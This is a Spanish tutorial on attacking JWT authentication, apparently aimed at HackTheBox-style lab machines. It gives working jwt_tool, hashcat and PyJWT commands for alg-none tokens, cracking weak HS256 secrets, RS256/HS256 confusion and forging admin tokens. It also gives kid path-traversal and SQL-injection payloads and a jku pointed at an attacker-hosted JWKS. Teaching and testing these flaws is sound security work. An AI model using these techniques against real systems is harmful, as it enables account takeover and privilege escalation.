Ataques a JWT: alg none, secretos débiles, confusión de algoritmos y kid
Cómo leer un JWT, crackear su secreto con hashcat, abusar de alg none y de la confusión RS256/HS256 e inyectar en kid y jku para firmar tus propios tokens.
Un JWT es la cookie o la cabecera Authorization: Bearer eyJ... que muchas aplicaciones usan para saber quién eres. Lleva tus datos (usuario, rol) firmados, no cifrados: cualquiera puede leerlos, pero cambiarlos exige saber firmar. Los ataques a JWT consisten en conseguir que el servidor acepte una firma que has hecho tú. Tienes un decodificador en el navegador en JWT.
Cómo es un JWT
Tres partes en base64url separadas por puntos: cabecera.datos.firma.
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d
# {"alg":"HS256","typ":"JWT"}
echo 'eyJ1c2VyIjoiYW5hIiwicm9sZSI6InVzZXIifQ' | base64 -d
# {"user":"ana","role":"user"}
Lo que importa de la cabecera:
| Campo | Qué es | Por qué te interesa |
|---|---|---|
alg |
Algoritmo de firma (HS256, RS256, none...) |
Si el servidor se fía de él, eliges tú cómo se valida |
kid |
Identificador de la clave | Si se usa para leer un fichero o hacer una consulta, se puede inyectar |
jku / x5u |
URL de donde descargar la clave pública | Si no se restringe, la descarga de tu servidor |
jwk |
La clave pública, dentro del propio token | Si se acepta, firmas con tu clave |
jwt_tool prueba casi todo lo de esta guía de forma automática:
python3 jwt_tool.py 'eyJ...' -M at -t 'http://objetivo.htb/api/me' -rh 'Authorization: Bearer eyJ...'
1. El servidor no comprueba la firma
Antes de nada: cambia el rol a admin sin tocar la firma y mándalo. Más veces de las que parece, la aplicación decodifica el token pero nunca lo verifica.
2. alg: none
Algunas librerías antiguas aceptan tokens sin firma si la cabecera dice none:
python3 jwt_tool.py 'eyJ...' -X a # genera variantes none, None, NONE, nOnE
A mano: cabecera {"alg":"none","typ":"JWT"}, tus datos y la firma vacía (el token termina en un punto).
3. Secreto débil (HS256)
Con HS256, la firma es un HMAC con un secreto. Si es corto o de diccionario, se crackea sin conexión:
hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt
hashcat -m 16500 token.txt jwt-secrets.txt # hay listas de secretos JWT conocidos
john token.txt --wordlist=rockyou.txt --format=HMAC-SHA256
Con el secreto, firma lo que quieras:
python3 jwt_tool.py 'eyJ...' -T -S hs256 -p 'secreto123'
import jwt # pip install pyjwt
print(jwt.encode({"user": "admin", "role": "admin"}, "secreto123", algorithm="HS256"))
Truco
El secreto también puede estar en el código. Si encuentras un repositorio expuesto o un fichero .env (por ejemplo con una LFI o un .git expuesto), busca JWT_SECRET, SECRET_KEY o TOKEN_SECRET. Es lo que pasa en Secret.
4. Confusión de algoritmos (RS256 → HS256)
Con RS256 el servidor firma con una clave privada y verifica con la pública. Si la librería deja que el token elija el algoritmo, puedes mandar HS256 y firmar con la clave pública como si fuera el secreto: el servidor hará el HMAC con la misma clave y coincidirá.
- Consigue la clave pública:
/.well-known/jwks.json,/jwks.json,/api/keys, el código fuente o a partir de dos tokens firmados (rsa_sign2n). - Fírmala en el mismo formato exacto que usa el servidor (PEM, con su salto de línea final):
python3 jwt_tool.py 'eyJ...' -X k -pk public.pem
5. Inyección en kid
Si el servidor usa kid para buscar el secreto en un fichero o en una base de datos:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
Con /dev/null, el secreto es una cadena vacía: firma con "". Si va a una consulta, prueba una inyección SQL que devuelva el secreto que tú quieras (' UNION SELECT 'abc' -- -). Si se pasa a un comando, una inyección de comandos. En TheNotebook, el kid es una URL a la clave privada que acaba apuntando a tu servidor.
6. jku, x5u y jwk
Si el servidor descarga la clave de la URL que indica el token, genera tu par de claves, publica el JWKS en tu servidor y apunta jku a él:
python3 jwt_tool.py 'eyJ...' -X s -ju http://10.10.14.5/jwks.json
Muchas aplicaciones comprueban que la URL empieza por su dominio: busca ahí una redirección abierta y úsala. Es la idea de Unicode.
Errores típicos
- El servidor rechaza tu token aunque el secreto es el bueno: casi siempre es el base64url (va sin
=al final y usa-y_en vez de+y/). Usa una librería o jwt_tool en vez de montarlo a mano. - El token caduca enseguida: cambia también
exp(yiat/nbf) al firmar. - La confusión de algoritmos no funciona: la clave pública tiene que ser exactamente la misma cadena que usa el servidor, con o sin salto de línea final. Prueba las dos.
Y después
Con un token de administrador, revisa qué te deja hacer la aplicación: paneles de subida (subida de ficheros), funciones de diagnóstico (inyección de comandos) o APIs internas. Mira también los fallos de control de acceso en IDOR y APIs.